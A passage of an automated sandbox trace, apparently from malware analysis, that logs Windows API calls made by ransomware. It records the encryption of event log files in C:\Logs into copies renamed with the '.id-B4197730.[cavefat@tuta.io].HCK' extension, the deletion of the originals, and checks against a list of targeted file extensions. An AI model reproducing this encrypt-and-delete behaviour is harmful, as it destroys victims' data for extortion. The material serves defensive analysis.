(lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.455] GetLastError () returned 0x0 [0157.455] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.459] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.460] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.460] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x128, lpOverlapped=0x0) returned 1 [0157.460] SetEndOfFile (hFile=0x384) returned 1 [0157.460] CloseHandle (hObject=0x384) returned 1 [0157.462] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.462] SetEndOfFile (hFile=0x37c) returned 1 [0157.463] CloseHandle (hObject=0x37c) returned 1 [0157.463] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.463] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0157.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.463] lstrlenW (lpString=".doc") returned 4 [0157.463] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString=".docx") returned 5 [0157.464] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.464] lstrlenW (lpString=".pdf") returned 4 [0157.464] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString=".xls") returned 4 [0157.464] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString=".xlsx") returned 5 [0157.464] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.464] lstrlenW (lpString=".ppt") returned 4 [0157.464] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.464] lstrlenW (lpString=".zip") returned 4 [0157.464] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString=".rar") returned 4 [0157.464] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString=".bz2") returned 4 [0157.464] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString=".7z") returned 3 [0157.464] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.464] lstrlenW (lpString=".dbf") returned 4 [0157.464] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.464] lstrlenW (lpString=".1cd") returned 4 [0157.464] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.464] lstrlenW (lpString=".jpg") returned 4 [0157.464] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.464] lstrlenW (lpString=".doc") returned 4 [0157.465] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString=".docx") returned 5 [0157.465] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.465] lstrlenW (lpString=".pdf") returned 4 [0157.465] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString=".xls") returned 4 [0157.465] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString=".xlsx") returned 5 [0157.465] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.465] lstrlenW (lpString=".ppt") returned 4 [0157.465] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.465] lstrlenW (lpString=".zip") returned 4 [0157.465] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString=".rar") returned 4 [0157.465] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString=".bz2") returned 4 [0157.465] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString=".7z") returned 3 [0157.465] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.465] lstrlenW (lpString=".dbf") returned 4 [0157.465] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.465] lstrlenW (lpString=".1cd") returned 4 [0157.465] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0157.465] lstrlenW (lpString=".jpg") returned 4 [0157.465] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.465] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.465] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0157.465] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.465] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0157.466] CloseHandle (hObject=0x37c) returned 1 [0157.466] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0157.466] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.466] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.466] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.466] GetLastError () returned 0x0 [0157.466] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.469] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.470] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.470] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x144, lpOverlapped=0x0) returned 1 [0157.470] SetEndOfFile (hFile=0x384) returned 1 [0157.471] CloseHandle (hObject=0x384) returned 1 [0157.473] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.473] SetEndOfFile (hFile=0x37c) returned 1 [0157.474] CloseHandle (hObject=0x37c) returned 1 [0157.474] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.474] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0157.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.474] lstrlenW (lpString=".doc") returned 4 [0157.474] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.474] lstrlenW (lpString=".docx") returned 5 [0157.474] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.474] lstrlenW (lpString=".pdf") returned 4 [0157.474] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.474] lstrlenW (lpString=".xls") returned 4 [0157.474] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.474] lstrlenW (lpString=".xlsx") returned 5 [0157.474] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.474] lstrlenW (lpString=".ppt") returned 4 [0157.474] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".zip") returned 4 [0157.475] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".rar") returned 4 [0157.475] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".bz2") returned 4 [0157.475] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".7z") returned 3 [0157.475] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".dbf") returned 4 [0157.475] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".1cd") returned 4 [0157.475] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".jpg") returned 4 [0157.475] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".doc") returned 4 [0157.475] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".docx") returned 5 [0157.475] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.475] lstrlenW (lpString=".pdf") returned 4 [0157.475] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".xls") returned 4 [0157.475] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".xlsx") returned 5 [0157.475] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.475] lstrlenW (lpString=".ppt") returned 4 [0157.475] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".zip") returned 4 [0157.475] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".rar") returned 4 [0157.475] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".bz2") returned 4 [0157.475] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString=".7z") returned 3 [0157.475] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".dbf") returned 4 [0157.475] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.475] lstrlenW (lpString=".1cd") returned 4 [0157.475] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0157.476] lstrlenW (lpString=".jpg") returned 4 [0157.476] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.476] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.476] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0157.476] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.476] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0157.476] CloseHandle (hObject=0x37c) returned 1 [0157.476] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0157.476] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.476] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.476] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.476] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.476] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.477] GetLastError () returned 0x0 [0157.477] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.887] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.889] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.889] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x12c, lpOverlapped=0x0) returned 1 [0157.889] SetEndOfFile (hFile=0x384) returned 1 [0158.271] CloseHandle (hObject=0x384) returned 1 [0158.312] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.312] SetEndOfFile (hFile=0x37c) returned 1 [0158.313] CloseHandle (hObject=0x37c) returned 1 [0158.313] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0158.313] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0158.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.313] lstrlenW (lpString=".doc") returned 4 [0158.313] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.313] lstrlenW (lpString=".docx") returned 5 [0158.313] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.313] lstrlenW (lpString=".pdf") returned 4 [0158.313] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.313] lstrlenW (lpString=".xls") returned 4 [0158.313] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.313] lstrlenW (lpString=".xlsx") returned 5 [0158.313] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.313] lstrlenW (lpString=".ppt") returned 4 [0158.313] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.313] lstrlenW (lpString=".zip") returned 4 [0158.313] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.313] lstrlenW (lpString=".rar") returned 4 [0158.313] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".bz2") returned 4 [0158.314] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".7z") returned 3 [0158.314] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".dbf") returned 4 [0158.314] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".1cd") returned 4 [0158.314] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".jpg") returned 4 [0158.314] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".doc") returned 4 [0158.314] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".docx") returned 5 [0158.314] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.314] lstrlenW (lpString=".pdf") returned 4 [0158.314] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".xls") returned 4 [0158.314] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".xlsx") returned 5 [0158.314] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.314] lstrlenW (lpString=".ppt") returned 4 [0158.314] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".zip") returned 4 [0158.314] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".rar") returned 4 [0158.314] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".bz2") returned 4 [0158.314] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString=".7z") returned 3 [0158.314] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".dbf") returned 4 [0158.314] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".1cd") returned 4 [0158.314] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0158.314] lstrlenW (lpString=".jpg") returned 4 [0158.314] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.314] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0158.314] lstrlenW (lpString="Setup.evtx") returned 10 [0158.314] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.315] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0158.315] CloseHandle (hObject=0x37c) returned 1 [0158.315] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0158.315] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.315] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.315] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.315] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.315] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.315] GetLastError () returned 0x0 [0158.315] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0158.318] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0158.319] ReadFile (in: hFile=0x37c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.319] WriteFile (in: hFile=0x384, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0158.319] SetEndOfFile (hFile=0x384) returned 1 [0158.319] CloseHandle (hObject=0x384) returned 1 [0158.321] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.321] SetEndOfFile (hFile=0x37c) returned 1 [0158.322] CloseHandle (hObject=0x37c) returned 1 [0158.322] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0158.322] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0158.322] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.322] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0158.322] lstrlenW (lpString=".doc") returned 4 [0158.322] 